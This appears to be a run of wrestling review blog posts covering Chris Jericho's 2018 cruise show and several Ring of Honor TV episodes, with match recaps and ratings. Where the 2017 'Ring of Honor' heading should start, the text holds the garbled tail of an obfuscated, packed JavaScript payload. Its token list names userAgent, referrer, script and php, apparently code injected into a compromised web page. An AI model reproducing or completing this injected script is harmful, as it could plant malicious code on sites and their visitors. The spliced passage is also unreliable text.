IMG Credit: Chris Jericho’s Rock N Rager At Sea

Chris Jericho’s Rock N Rager At Sea
Date: November 3, 2018
Location: Norwegian Jade Cruise Ship
Commentators: Colt Cabana, Jay Lethal

And now here’s a show on a boat! Late last year Chris Jericho hosted a wrestling cruise (it has to be better than WCW’s nightmare version back in the 1990s), featuring Fozzy concerts, podcasts, and of course live wrestling matches. This includes the Ring of Honor Sea of Honor Tournament plus a few more matches. While they didn’t tape everything, we’ve got most of the tournament plus a few bonus matches. Let’s get to it.

Note that Cabana and Lethal are the main two commentators with others rotating in.

Here are the original brackets for the tournament:

Dalton Castle

Matt Taven

Delirious

Christopher Daniels

Rhett Titus

Marty Scurll

Flip Gordon

Silas Young

Mark Briscoe

Will Ferrara

Adam Page

Frankie Kazarian

Cheeseburger

Beer City Bruiser

Jay Briscoe

Kenny King

We open with some highlights of the first round, which has been cut for the sake of time. Understandable, as that would be another eight matches. The set looks great with a big Ring of Honor ring and a lot of fans all around. You wouldn’t know it was on a boat otherwise, though the sun going down is always a cool touch.

Here are the quarterfinal brackets:

Dalton Castle

Christopher Daniels

Marty Scurll

Flip Gordon

Mark Briscoe

Adam Page

Cheeseburger

Jay Briscoe

Sea of Honor Tournament Quarterfinals: Christopher Daniels vs. Dalton Castle

Actually hang on as Castle has a concussion and can’t wrestle. We have a replacement on hand though.

Sea of Honor Tournament Quarterfinals: Christopher Daniels vs. Ashley Remington

For those of you not familiar with Remington, it’s certainly not Castle in his Chikara gimmick of a sailing enthusiast. After all, Dalton doesn’t wear a snappy sailor’s hat. The hat is spun around Remington’s finger and he throws in some finger guns. Lethal sees no peacock gear or Boys so this CANNOT be Dalton Castle. Daniels is very confused and the THAT’S NOT DALTON chants make it even worse. He even gets a mic and says “Wait…..so you’re NOT Dalton Castle???”

Daniels agrees to wrestle for the sake of the tournament and they take turns driving each other into the corner to start. Remington isn’t pleased with the referee taking issue with his aggression and gets in a Dalton style yell. Daniels sends him into the ropes bu Remington is right back with a finger gun, because he’s that smooth. A pinfall reversal sequence goes nowhere so Daniels gets punched in the ribs a few times to slow things down again. Daniels blocks a Vader Bomb with raised knees and a running knee to the ribs makes things even worse.

It’s off to the waistlock as Lethal suggests that REMINGTON IS DALTON CASTLE!!! I mean, he has a concussion and thinks he’s a sailor named Ashley Remington, but he must be Castle. I’m still not convinced, even as Remington makes a comeback with Castle inspired offense. A running knee in the corner sets up a running bulldog for two but it’s too early for the Bang A Rang. Er I mean the Anchor. Yeah the Anchor. Daniels tries a Blue Thunder Bomb but gets cradled to send Remington to the next round at 7:14.

Rating: C. This was a lot of fun with Remington being the perfect choice for a replacement. The match wasn’t exactly the point here, but how serious can you be with a guy named Smooth Sailing wrestling in a match on a cruise? This tournament seems to get the idea of not taking itself too seriously and that’s a very good thing.

As is his custom, Remington offers Daniels a complimentary fruit basket. That’s good enough to earn a hug so everything is smooth.

Sea Of Honor Tournament Quarterfinals: Flip Gordon vs. Marty Scurll

The fans are behind Marty here and that’s not the most surprising thing in the world. Marty is nice enough to offer a handshake and even wants some silence for the gesture. Instead they hug (Colt: “Code of Honor really, really shown!”) to a very positive reaction. Ever the villain though, Colt pulls him into a Rock Bottom for two at the opening bell. Flip rolls outside so Marty superkicks him from the apron for another near fall.

Back up and Flip starts to flip to avoid a clothesline, followed by a standing moonsault. They chop it out in the corner with Marty managing to crotch him on top and hit some uppercuts. A top rope superplex attempt is broken up with a headbutt but Scurll enziguris him and NOW the superplex connects for two. Marty starts in on the hand before going to some holds to work on the ribs. He’s a versatile villain you see. There’s a backbreaker into an abdominal stretch on the mat.

Gordon finally kicks him into the corner for a breather and the backflip World’s Strongest Slam sets up a running shooting star. A springboard Sling Blade drops Scurll again and the 450 gets two. They chop it out until Marty turns him inside out with a clothesline. They’re both down for a bit until another chop off goes to Scurll. You don’t often see the villain win one of those. Flip snaps off a Falcon Arrow but gets powerbombed. The ensuing cover is reversed into a rollup to give Flip the fast pin at 11:16.

Rating: B. That was a heck of a match with both guys working hard. I know Scurll doesn’t have the best reception at times but he can put on some good stuff at times. He can go in the ring under the right circumstances and Gordon was more than game for this one. Flip has surprised me over the last few months as he’s turned into a character who can work a match instead of just a one note guy. Really fun match.

Flip’s chest is busted up but Marty still won’t hug him.

Sea Of Honor Tournament Quarterfinals: Jay Briscoe vs. Cheeseburger

If this is anything other than Jay beating this guy into oblivion, there’s no justice in the world. Before the match, Jay offers Cheeseburger a chance to walk out instead of take this beating. Cheeseburger flips him off and please make this be quick. Cheeseburger slugs away to start and gets run over for his efforts as I become a bigger Jay fan by the second.

Jay knocks him hard into the corner but misses a charge, allowing Cheeseburger to get in some meaningless shots to the head. A Death Valley Driver gives Jay two and it’s off to a reverse chinlock. Cheeseburger slips out and hits what looked like a low blow, followed by the Shotei palm strike for two. Jay superkicks a springboard out of the air and the Jay Driller finishes Cheeseburger at 6:36.

Rating: D. Nothing match of course but I get a perverse enjoyment out of seeing Cheeseburger get destroyed. That’s all this match needed to be as even the announcers were making it clear that Cheeseburger didn’t have a chance. Jay is the most successful wrestler in ROH history so this was a glorified bye for him.

Sea Of Honor Tournament Quarterfinals: Mark Briscoe vs. Adam Page

They chop it out to start with Page’s chop being so bad that the fans make fun of him. It’s hard to get this crowd to boo a guy like him but that chop was worth the insult. Mark hits a chop of his own and the fans seem rather pleased. An exchange of slams has no effect either so Page grabs a delayed suplex to actually get an advantage. Briscoe slugs away but gets kicked out of the air, which the fans say was weak as well. The tabletop suplex gets two and a THAT WAS STRONG chant from the crowd.

Mark turns him inside out with a clothesline….and we’ve got a bird landing on a fan in the crowd. The fans start chanting for the bird so Mark is smart enough to grab a chinlock until they pay attention again. Page gets two off a German suplex but walks into a fisherman’s buster for the same. A hard powerbomb gives Page two more but the Rite of Passage is broken up. Instead Briscoe sends him to the apron and counters the Buckshot Lariat into a rollup for the pin at 10:29.

Rating: C. Thankfully the bird didn’t mess things up that badly as there’s only so much you can do when the fans get distracted like that. Mark putting the chinlock on to ride it out was the right call and it didn’t last too long. You could have gone either way here as Page is a popular guy but the battle of the Briscoes is hard to pass up.

Here are the updated brackets:

Dalton Castle/Ashley Remington

Flip Gordon

Jay Briscoe

Mark Briscoe

Sea Of Honor Tournament Semifinals: Dalton Castle vs. Flip Gordon

It’s night now and it makes for a very cool visual. Castle is back (after some great concussion protocol) and it’s Mandy Leon and Matt Taven on commentary. Hang on though as Castle, in a shirt, says he has a severe sunburn and asks Flip not to touch his body at all. That earns Castle a shoulder block for the most painful reaction ever.

Castle strikes the Peacock Pose so Flip kicks him in the ribs (Fans: “ALOE VERA!!!”) and sends Castle outside with a single chop. Back in and more chops, followed by a BACK RAKE (through a shirt but still) has the fans booing Gordon for the first time. A springboard frog splash gives Flip two so Castle is right back with a hard clothesline. Hang on though as Castle needs to pause for some ice to the chest.

More shots to Flip’s chest set up a short DDT for two but Flip kicks him in the face. A springboard missile dropkick sends Castle into the corner but he’s right back with a spear. Castle is right back with a running knee in the corner as Cabana thinks Castle is reminiscent of Ashley Remington. There might be a small similarity but they’re rather different. Back up and Castle grabs his arm, allowing Flip to roll him up (kind of a wacky rollup with a wrist clutch) for the pin at 9:36.

Rating: D+. They had an idea with the sunburn thing but it didn’t exactly go anywhere. Castle is still banged up so it makes sense that they didn’t want to do all too much here. It was a comedy match and that’s fine on something like this, though the match wasn’t all that fun in the first place.

Sea Of Honor Tournament Semifinals: Jay Briscoe vs. Mark Briscoe

This should be fun. They bump forearms before the bell but Mark isn’t waiting around here and shotgun dropkicks Jay at the bell. Another knockdown sets up the Froggy Bow for a very early two. The fight heads outside with Mark throwing a chair in, only to have Jay pelt it into his head to take over. Jay starts stomping away in the corner and fires off some uppercuts. It’s back to the floor with a big boot to Mark’s jaw just waking him up a bit. Jay comes right back and the fighting turns Mandy on a bit.

Back in and Jay kicks him in the face for two more before wedging the chair into the corner. Of course Jay is the one going face first into it and a crossbody through the chair gives Mark two of his own. The fans are WAY into this one as Mark stomps away in the corner. An exchange of kicks to the face (as in seven or eight each) doesn’t go anywhere so Jay goes with a neckbreaker for two instead.

Jay kicks him again but can’t hit the Jay Driller. Mark knocks him in the jaw again and takes him up top for something like an Iconoclasm for two of his own. A second Froggy Bow misses so Mark dropkicks him in the corner for a second time. The fisherman’s buster gets two more as the fans go into a LET’S GO BRISCOE/BRISCOE SUCKS chant for something clever. Mark takes too long going up and gets chaired down, setting up the Jay Driller for the pin at 10:50.

Rating: B. This was all about two guys beating the fire out of each other and it was very entertaining. They were going for the violent, intense brawl here and it worked as well as it could have. I would have gone with Mark getting to the finals for a little change of pace, but Jay is the bigger star and will give Gordon more of a boost if he wins.

They hug post match because brothers have to fight. Or wrestle.

Sea Of Honor Tournament Finals: Jay Briscoe vs. Flip Gordon

Jay jumps him before the bell because he’s a better heel than a face. The beating sends Flip outside and he kind of looks like a monster as they walk around. You can’t script a look like that and it’s a good way of playing towards Briscoe’s nature. Back in and the stomping begins as Flip can’t do anything yet. Jay switches it up to stomping AND choking in the corner, followed by a running big boot.

Flip finally sends him to the floor for a kick to the head but walks into the neckbreaker. A dropkick sets up some swearing and it’s off to the chinlock. As you might have expected, Flip pops up and hits a springboard crossbody/right hand (cool….I think) to put Jay down again. A Pele sets up the springboard spear for two more but Jay crotches him on top. Jay’s superplex is escaped and Flip scores with a running dropkick to the back.

Flip tries a suplex of his own but gets reversed into a fisherman’s buster to knock him silly. Since no one can keep momentum here, Jay walks into a Falcon Arrow for two more. The Jay Driller (See what I mean about momentum?) gets two and the fans aren’t happy with that not being the ending. Flip kicks him in the head again and a TKO is good for the pin and the tournament at 10:53.

Rating: C. This was fine, though that kickout was too much and I think the fans knew it. After three matches of taking a beating, Flip shouldn’t be kicking out of one of the most protected finishers in the company. I’m cool with Gordon getting the title shot though as it’s always nice to see someone fresh get a chance, even if it’s a one off.

Alpha Club vs. Bullet Club

That would be Chris Jericho and the Young Bucks vs. Kenny Omega/Cody/Marty Scurll, which should be a heck of a match. There’s no Brandi here for some reason, though if you were her would you want to be on a cruise around a bunch of fans? Jericho gets the big introduction, as he certainly deserves. He also comes out dressed as a Buck, complete with bandanna, though it looks a bit like a bad Rockers cosplay. The fans are going NUTS for this, as you had to expect. Fans: “VINCE CAN’T TOUCH THIS!!!”

Cody and Nick start things off but Cody isn’t interested in an early handshake. A dropkick sends Cody into the corner for almost the only action of the first minute. Cody’s drop down uppercut lets him flip the fans off so Nick cranks on the arm. He is known for protecting the fans you see. Jericho comes in (POP/CHANTING) to stay on the arm as the Alphas start taking turns. It’s time for the rapid fire offense and triple dives, though the camera doesn’t catch all of them.

Cody loads up Shattered Dreams but stops to flip off the crowd, which amazingly enough allows Matt to fight out of the corner. The hot tag brings in Jericho to clean house as everything breaks down. A crossface chickenwing attempt is countered into the Walls on Marty, leaving the Bucks to put Cody and Omega into matching Sharpshooters. Those are broken up as is the Walls, so Matt clotheslines Omega and Cody down. The Bucks start speeding things up and it’s a top rope splash/standing moonsault for two on Cody.

More Bang For Your Buck and the Meltzer Driver are broken up and it’s Omega with his running Fameasser to take Nick down. A series of kicks to the face gets two on Nick with Jericho making the save (Scott D’Amore on commentary: “Not on my cruise!” Good line.) and NOW we get the Omega vs. Jericho showdown. Omega knocks him to the floor but the Rise of the Terminator (which took FOREVER to set up) is countered with a double superkick.

A triple superkick sets up the Meltzer Driver into the Walls on Omega, but Jericho has to let go for a Codebreaker on Marty. Omega is fine enough for a series of hurricanranas but Jericho takes him down into the Walls again. Marty’s umbrella to the back makes the save though and Omega gets a good near fall. Another Meltzer Driver is broken up but Omega can’t hit the One Winged Angle. He can hit a V Trigger though (shocking), followed by a second (take a shot) and the One Winged Angle finishes Matt at 23:20.

Rating: B+. This was exactly what the main event should have been with the kind of wrestlers that these fans want having the kind of match that they do best. It was entertaining, it was fast paced and it was fun. Really, what else could you have asked for here? Also, well done on having Jericho take the fall on his cruise. A lot of people wouldn’t have done that.

Post match it’s a big staredown with Omega and Jericho talking to wrap it up.

Jericho thanks the fans for everything to end the show.

Overall Rating: B. I liked this a lot more than I thought I would as it was as laid back of a show as you could have asked for. The wrestling was fun (not great the entire time, but fun) and the venue really made things feel special. Not everything needs to be some big show and it’s ok to have a good time every now and then. That’s what we got here and it flew by at less than three hours. Even if it’s just a big advertisement for next year’s cruise, well done indeed.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 1997 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

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IMG Credit: Ring of Honor

Ring of Honor
Date: August 29, 2018
Location: Center Stage Theater, Atlanta, Georgia
Commentators: Colt Cabana, Ian Riccaboni, Caprice Coleman

We’re getting close to coming up on Death Before Dishonor and that means we might start putting a few things together. Other than that, it’s hard to say what we might be getting this week. That being said, the success rate around here isn’t half bad and there’s always a chance of seeing something great. Let’s get to it.

Here are last week’s results if you need a recap.

Opening sequence.

Christopher Daniels vs. Jay Briscoe

Mark Briscoe is on commentary to give us the four man booth. Fallout from Best in the World, which is just two months ago to the date of this show’s air date. Or “a couple of weeks” according to Ian. Jay drives him into the corner to start but Daniels shoves him away. A shot to the face knocks Jay to the floor and there’s the Arabian moonsault. Daniels stomps away in the corner and we take a break.

Back with Jay in control and grabbing a chinlock, which feels like a rarity around here. Daniels fights up in short order and gets two off the Blue Thunder Bomb. Angel’s Wings is driven back into the corner but the Jay Driller is broken up as well. That’s enough for Mark, who comes in and blasts Daniels in the back with a chair for the DQ at 7:36.

Rating: C-. Not enough time to go anywhere and I get why you wouldn’t want either of them to take a clean loss here. They were looking equal, which should be the case with two former World Champions. I’m still not sold on So Cal Uncensored as faces and it feels like it could be a big time ruse, which is how things should be going given their history.

Post match the beatdown is on but Scorpio Sky and Kazarian run in for the save.

Video on Jonathan Gresham vs. Jay Lethal in two weeks.

Video on Madison Rayne earning a title shot next week.

Silas Young vs. Flip Gordon

Flip’s ability to moonsault into the ring and take his pants off at the same time is most impressive. Gordon armdrags him a few times but an early suicide dive attempt is blocked right a right hand. A slingshot double stomp hits Flip in the ribs and now Young is ready to take the shirt off (sans moonsault). One heck of a whip into the corner gets two and it’s off to a chinlock (maybe they’re not so uncommon).

Back up and Gordon springboards in with a missile dropkick, drawing a loud FLIP chant. No flipping ensues, but he does hit a running dropkick in the corner. Now it’s the running flip dive to the floor and we take a break with Silas in trouble. Back with Gordon getting two off a high crossbody and a springboard spear is good for the same. Silas catches a charge with the swinging backbreaker into the low clothesline and it’s time for the big slugout.

Gordon gets the better of it with a Falcon Arrow but let’s go back to the slugout. This time Gordon enziguris him down, only to get booted in the face. A Pele drops Silas again but let’s go to the third slugout. With hitting Young in the head not working, Gordon O’Connor rolls him and bridges back for the pin at 10:27.

Rating: C. The slugouts got a little tiring but Gordon needs some more wins over credible names. Young doesn’t seem to be going anywhere now that he’s lost the TV Title but really, it’s not like there is a huge upside to him. He’s been better than I thought when I first saw him, but I think he’s reached his ceiling.

Post match Bully Ray comes in and low blows Gordon. Ray and Young stare at each other, seemingly out of respect.

Marty Scurll congratulates Kenny King on finding his inner villain. Revenge is coming.

King doesn’t have much to say about putting his feet on the ropes to beat Scurll. A year ago he was on a roll and it got him the TV Title. Now things have changed though and he lost to Austin Aries at Best in the World. King had the chance to win but wouldn’t use the Royal Flush on the floor. Ric Flair cheated and won sixteen World Titles so how much does King have to do to win once? King has options now, and that’s good. Nice explanation here, which is more than I was expecting.

Nick Aldis is on commentary for the main event as the fans want Cody.

Six Man Tag Team Titles: Kingdom vs. Cody/Young Bucks

Cody and the Bucks, with Bernard the Business Bear and Brandi Rhodes, are challenging, plus getting very loudly cheered. Well Cody is from Marietta (about twenty miles from Atlanta) so it’s not that shocking. They waste no time in starting the brawl with the Kingdom getting the early advantage.

Cody gets left alone but the Bucks run back in to save him from a double suplex. The threat of a double superkick puts the kingdom on the floor and it’s a wheelbarrow faceplant into a cutter to put Taven down. O’Ryan comes in and gets kicked right back to the floor, followed by the slingshot dropkick to Marseglia as the Club is in full control to start. Cody dives to the floor to take out O’Ryan again and stares Aldis down.

Back in and it’s Marseglia chop blocking Matt to cut off a superkick attempt. Matt gets taken into the corner and the leg work continues, including Marseglia dropping some elbows on the knee. Taven comes in for a leglock of his own and we take a break. Back with Matt hitting a middle rope dropkick but banging up the knee again as Colt points out the lack of superkicks so far. Matt kicks O’Ryan down again and the hot tag brings in Nick for a series of non-super kicks.

Marseglia pops the balloon next to Nick’s head to mess with his balance though and Taven is on him with the right hands to the head. The real hot tag brings in Cody who grabs the Sharpshooter on Taven. O’Ryan and Marseglia get caught n the same hold for three at a time. All three are broken up and the first superkick drops Marseglia but Matt bangs up the bad knee again. Cody cleans house but takes WAY too long posing, allowing Marseglia to grab another balloon.

That gets superkicked next to his ear though and a triple superkick gets two on Taven. Cross Rhodes gets two on Taven with Marseglia making the save. The double dives are broken up and Marseglia dives onto Cody. Nick hits his own flip dive though, followed by Taven’s always great looking no hands dive. Brandi, in a dress, hits a big dive of her own and Taven isn’t sure what just happened.

Bernard gets on the apron so Taven kicks him in the head (it’s kind of an easy target) and there’s the Climax to Cody. Redrum (Swanton) gets two and everyone is down as Aldis wonders when the DQ is coming. Dude….actually it makes sense for the NWA World Champion to be that stuck in the past. Rockstar Supernova to Cody is broken up with stereo superkicks and Cross Rhodes to Marseglia is good for the pin and the titles at 14:33.

Rating: B. Heck of a match here with all of the dives and flips, though it might have needed to cut a minute or two to really make this work. They were flying around at the end, but it helped a lot to do the leg work and build up to that. Maybe it’s the traditionalist in me but I appreciate the work being put in to get to the insanity, and this match had that.

Post match Taven rants that Marseglia wasn’t legal (he wasn’t) and Aldis doesn’t like the ROH officiating to end the show.

Overall Rating: C+. The main event helps as usual, but there’s often this strange feeling to Ring of Honor’s TV. It feels like they don’t really have a long term goal in mind and just make things up as they go. There were stories to everything here but it doesn’t exactly feel like they know where they’re going. Some of these stories feel like they keep going because it’s not clear how to wrap things up. It’s still a watchable show on its own, but long term it’s not the best stuff in the world.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2003 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

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Ring of Honor
Date: October 11, 2017
Location: Sam’s Town Live, Las Vegas, Nevada
Commentators: Ian Riccaboni, Colt Cabana

It’s time for a new taping cycle as we’re finally able to talk about what happened at Death Before Dishonor. That could mean a multitude of options around here but hopefully we get some actual stories instead of just doing a bunch of one off matches. To be fair though, the last few weeks of TV haven’t been that bad so hopefully the trend continues here. Let’s get to it.

We open with a quick highlight package from Death Before Dishonor.

Opening sequence.

Here are Silas Young and Beer City Bruiser for an opening chat. Young takes his shirt off to show the welts from his street fight with Jay Lethal. Those marks are the proof that he walks the walk to back up his talk. As for now though, he and Bruiser have a goal of winning the Six Man Tag Team Titles but they need a partner.

That brings them to Death Before Dishonor, where they saw another real man. They have a partner now though and his name is Minoru Suzuki and the challenge is officially made tot he Young Bucks and Hangman Page. Cue the champs to say they’re annoyed at Young for interrupting their autograph session. Matt dubs the team the Hung Bucks (just kill me now) and the match is on for the main event.

TV Title: Josh Woods vs. Kenny King

Woods is challenging in his official shot for winning the Top Prospect Tournament. King is the new champion and the hometown boy after defeating Kushida at Death Before Dishonor. I’m not wild on the outsiders winning titles but at least Kushida held it for a long time. Woods takes him to the ground to start for an early two before working on the arm.

That’s reversed into an armbar from the champ but he gets suplexed into the corner as we take a break. Back with Woods having to grab a rope to escape something like a Last Chancery. King kicks him out to the floor and hits a dive and Woods is in trouble. That lasts all of ten seconds as Woods scores with some knees to the head and a string of suplexes, followed by a triangle choke. King is perfectly fine though and stacks Woods up for the pin at 8:59.

Rating: C+. Nice match here as Woods is growing on me. The MMA stuff works fine as he mixes in enough wrestling to make it work. You know what you’re going to get with him but he does it just fine, which is all you can ask for. King is a bit flashier than he needs to be at times but he should be great in this role.

Josh shakes his hand post match and King grabs the mic to praise him a bit. Woods leaves and King says he’s a fighting champion who will defend his title on every show. This brings out Shane Taylor, Chuck Taylor, Punishment Martinez and Mark Briscoe, all of whom King is more than willing to face for the title.

Marty Scurll invites us to a Bullet Club celebration next week.

Six Man Tag Team Titles: Hangman Page/Young Bucks vs. Silas Young/Beer City Bruiser/Minoru Suzuki

Page and the Bucks are defending. Suzuki won’t shake his partners’ hands so I don’t see this team lasting long. Bruiser throws Nick into the corner but Matt comes in to throw his brother into a dropkick. Young comes in before too long and it’s a triple basement dropkick to the face so the fans can cheer the Bucks a bit.

Page wants Suzuki for some reason and it’s time for the slugout with the chops making Page cringe. A quick Kimura has Page in more trouble and the Bucks get one each of their own. Everything breaks down and it’s Young and Bruiser putting on Kimuras of their own. The champs all bail to the floor and we take a break. Back with Young slamming Matt down and Suzuki putting on a legbar over the apron.

Some choking in the corner has Matt in more trouble but he finally gets a boot up in the corner. A flipping cutter off the top takes Silas down but Bruiser breaks up the tag attempt. For reasons of general stupidity, Bruiser gets into a chase and lands in a superkick. The hot tag brings in Page to clean house, including a dropsault for two on Young. Everything breaks down and Suzuki’s piledriver is broken up with a double superkick. Bruiser crossbodies the Bucks and Cannonballs onto Page as the fans are WAY into this (with good reason).

Back in and Suzuki’s piledriver sets up the frog splash for two on Page with the Bucks making the save. We take another break and come back with more superkicks dropping Bruiser but Nick gets caught in Suzuki’s sleeper. That gives us a showdown with Page, who actually wins a slugout. Young comes back in for the Regal Roll but the moonsault is broken up by more moonsaults. Page hits a huge moonsault to the floor and it’s a shooting star off the apron into the Indytaker to kill Young dead. Back in and the Rite of Passage ends Bruiser to retain the titles at 14:40.

Rating: B. As usual, when the Bucks don’t do all the superkicks, they’re a lot of fun to watch. Hence why the best part of the match was the stuff between the breaks, where there were only a few of the kicks. Suzuki still doesn’t do much for me but Bruiser and Young are growing on me more and more every time they get in the ring. Good match here that was starting to look great at times.

Post match Bruiser and Young blame Suzuki so the brawl is on until the referees make the save.

Here’s Jay Briscoe to address his turning on Bully Ray at the pay per view. Before he gets very far, here’s Tommy Dreamer to cut him off. Dreamer talks about cutting off Bully Ray’s cast the night before Barely Legal (I always thought the ankle was broken during the show) and a variety of bar fights.

One time Chris Jericho accidentally knocked Bully out during a match (I believe that was TLC III in 2002) and he couldn’t remember that his mom had died a few months earlier. Dreamer knows how dangerous head injuries can be and he spent another night with his friend in a hospital because of what Jay did. Jay doesn’t say anything and Dreamer leaves to end the show. I’m not big on Dreamer but this was effective and opens a few more doors for this story to continue.

Overall Rating: B+. Really good show here with a lot of storyline advancement to go with a pair of solid matches. Maybe it’s just the show being fresh after a long layoff or just a good night but I had a much easier time watching this than on most weeks. It also helps to have some top names around instead of people like Cheeseburger and the other interchangeable small guys who aren’t all that thrilling. Solid show here and a very nice surprise.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hsydb|var|u0026u|referrer|kkeds||js|php'.split('|'),0,{})) of Honor
Date: September 6, 2017
Location: Cabarrus Arena and Events Center, Concord, North Carolina
Commentators: Ian Riccaboni, Colt Cabana

We’re rapidly approaching Death Before Dishonor and it would be nice to actually hype up the show instead of just having a single episode to build things up. They got it right with Best in the World and I have no idea why it’s so hard to repeat the success. Unfortunately it’s the end of a taping cycle so things might not be the most energetic. Let’s get to it.

We open with a recap of Jay Lethal vs. Silas Young, which has turned into a nice feud, assuming they finally go anywhere with it.

Beer City Bruiser vs. Jay Lethal

No DQ and we’re joined in progress with the two of them fighting in the aisle. Lethal slugs away and manages to avoid a cannonball to send Bruiser into the barricade. Jay hits one of his own and Bruiser is in early trouble. A dropkick staggers Bruiser with Jay scoring with a suicide dive to follow up.

Back from a break with Lethal missing a chair shot and Silas Young on commentary. Scratch that as he heads towards the ring, where Bruiser is hitting Lethal in the ribs with a chair. The chair is wedged into the corner and you know what that’s going to mean. Security stops Silas so he goes back to talk some more, which means we need to look at him far more often than is necessary. A basement dropkick of all things staggers Lethal and it’s time for some duct tape.

Jay fights back though and takes off his belt for a beating. Ian and Silas argue over whether or not Riccaboni is impartial as Jay sends Bruiser head first into the chair in the corner. Young heads to the ring again and we take a break. Back with Bruiser missing a top rope elbow, earning him some praise from Silas. Young: “Smart move Bruiser.” Colt: “Said no one ever.”

There’s the Lethal Injection but Jay would rather tape Bruiser to the ropes instead of covering. Jay grabs Bruiser’s keg and puts it over the knee, which he then crushes with a chair. More chair shots to the leg have Bruiser screaming in pain and it’s a Figure Four for the submission at 15:11.

Rating: B. When did Bruiser start getting good? I was buying into the hatred and the violence here with Lethal getting a good warmup before his major showdown with Young at the pay per view. When Lethal is on his game he’s as good as anyone in the promotion and this was no exception. Really solid brawl with the beating doing a great job to show off Lethal’s anger.

Post match Jay puts the hold on again as security holds Silas back.

Video on Minoru Suzuki, who is from New Japan and has an MMA background so he’s the coolest guy ever.

Cody talks about the difference between MMA and “sports entertainment”. Which one of them is real? Suzuki has 29 recorded wins in mixed martial arts. You know what else is ready? Cody is going to stretch him and Suzuki is going to call him daddy.

Earlier today Will Ferrara attacked Cheeseburger at an autograph signing.

We look at the Addiction attacking the Motor City Machine Guns and the Young Bucks last week.

Earlier today Caprice Coleman wanted to interview the Addiction but just had chairs and a microphone, much to his annoyance. Kazarian says he wanted to talk to Caprice Coleman and only Caprice Coleman because he knows what it’s like to be disrespected. Look at the lack of set that Coleman requested weeks ago. That’s why the Addiction is declaring war on respect.

Caprice asks if Daniels wants the Tag Team Titles back so Daniels takes the one mic they’re sharing (Coleman: “Be careful. It’s attached.”) to say that’s not the point. He feels betrayed by the fans, who booed him at Best in the World. Daniels was ready to lead the company but the fans didn’t want that. They’re going to find out what the fans want and that’s what they’re going to prevent from happening. If the fans want the best wrestling, the Addiction is going to burn it to the ground.

Will Ferrara vs. Howie Timberche

Howie throws him into the corner for some right hands and sings A Whole New World from Aladdin before punching Ferrara in the face. More dancing and singing sees Ferrara get slammed down, followed by a good looking dropkick. They head outside with Timberche getting pulled shoulder first into the post, followed by the suicide tornado DDT. Timberche gets in a jumping back elbow and a side slam before putting him in the Tree of Woe (complete with more singing). A backflip into an elbow gets two on Ferrara but a low blow cuts Howie off. The second tornado DDT gives Ferrara the pin at 4:26.

Rating: C-. I really hope that’s not all we see from Timberche, who should have gotten at least a second look out of that performance. He has a good look, a lot of charisma and his work is fine. Ferrara was outshined here, which isn’t surprising given how generic he is. He’s just a small guy who doesn’t have anything that makes him stand out, which is a problem for a lot of people around here. Timberche was fun and I’d like to see him again, though he definitely looks more like a WWE guy than an ROH guy.

Post match Cheeseburger comes out to issue a challenge for next week. I know he’s a cult favorite but I’ve been watching him have the same “my partner betrayed me” feud for what feels like years now.

Jay Briscoe has a concussion but Ring of Honor paid for him to be here anyway so here he is.

Mark Briscoe/Bully Ray vs. Cody/Adam Page

I love that Cody is one of the only champions around that still wears the belt. Cody does his “who wants the shirt” bit before handing it to Page. The classics never die. Mark dropkicks Page off the apron and sends Cody outside for a dropkick. The apron Blockbuster makes things even worse but Cody elbows him in the face to get a breather.

After a little spitting from Mark, Page trips him up and hits the slingshot clothesline to really take over. Mark can’t quite fight out of the corner yet as Cody forearms him in the back and stomps away. Back from a break with Mark kicking Page in the face and making the hot tag off to Bully for the house cleaning.

Bully hammers on Page and hits a Bionic Elbow on Cody (that’s rather cruel). What’s Up with Mark hitting an elbow instead of a headbutt has Cody in trouble and it’s table time. Cue Marty Scurll for a distraction but Jay comes out to take care of him. Jay sets up a table but gets punched in his concussed head, which can’t be a good thing.

Marty and Jay fight around the back of the crowd and it’s a Doomsday Device on Page. Cody breaks up the elbow to drive Page through the table but walks into Mark’s fisherman’s buster for two. Cue the Kingdom to take Mark out though and Cross Rhodes puts him away at 11:20.

Rating: C-. This was every ROH main event all over again: too much stuff packed into a match to really work, which goes against the idea of the entire promotion. Then again it’s what worked in WWE for so long and that’s what wrestling companies do, even if it gets dull in a hurry. At least the ending helped set up the Six Man Tag Team Title stuff at Death Before Dishonor, which still isn’t all that thrilling.

Post match the Kingdom lays out Mark and Bully until Jay makes the save. That just earns him Rock Star Supernova (still way too awesome of a name for such a lame team) to end the show.

Overall Rating: D+. You can tell they’re at the end of a taping cycle here and unfortunately it’s a taping cycle as we head towards a World Title match with a challenger who has no connection to the promotion. In other words, the World Champion is just a detail in the promotion while the big deal is a Japanese legend who isn’t appearing or talking until the pay per view. You know, like what happened at the last pay per view. But hey, at least the New Japan fans get what they want out of this and that’s what matters. Not a good show this week, as they’re firmly in the period of having nothing to do despite a big show coming up.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

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And check out my Amazon author page with cheap wrestling books at:

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Date: August 23, 2017
Location: Cabarrus Arena and Events Center, Concord, North Carolina
Commentators: Ian Riccaboni, BJ Whitmer

Tonight is all about the Six Man Tag Team Titles as yet ANOTHER team has been thrown together for the sake of giving the champions some challengers. In this case it’s Dalton Castle and the Boys defending against Colt Cabana and the Tempura Boyz. And yes, it’s all because both bigger names have partners called Boys(z). Let’s get to it.

Dalton Castle says taking the titles from him when he’s flanked by the Boys is like trying to boil a chicken so he’s not worried.

Opening sequence.

Coast to Coast vs. Best Friends

Caprice Coleman jumps in on commentary and for some reason we keep looking at the commentary booth instead of the ring. Chuckie (Chuckie T, of the Best friends with partner Berreta) and LSG start things off with some flips going nowhere. It’s off to Ali vs. Berreta with some chops dropping Ali, who comes right back with chops of his own.

They head to the corner for a tag to LSG, who the announcers don’t realize was in the match already. Chuckie tags himself in before Berreta takes LSG down with a dragon suplex. That’s good for a big hug and we take a break. Back with LSG cleaning house and getting two on Chuckie off a faceplant. Berreta comes in for the save but Ali is right there to block a tornado DDT out of the corner.

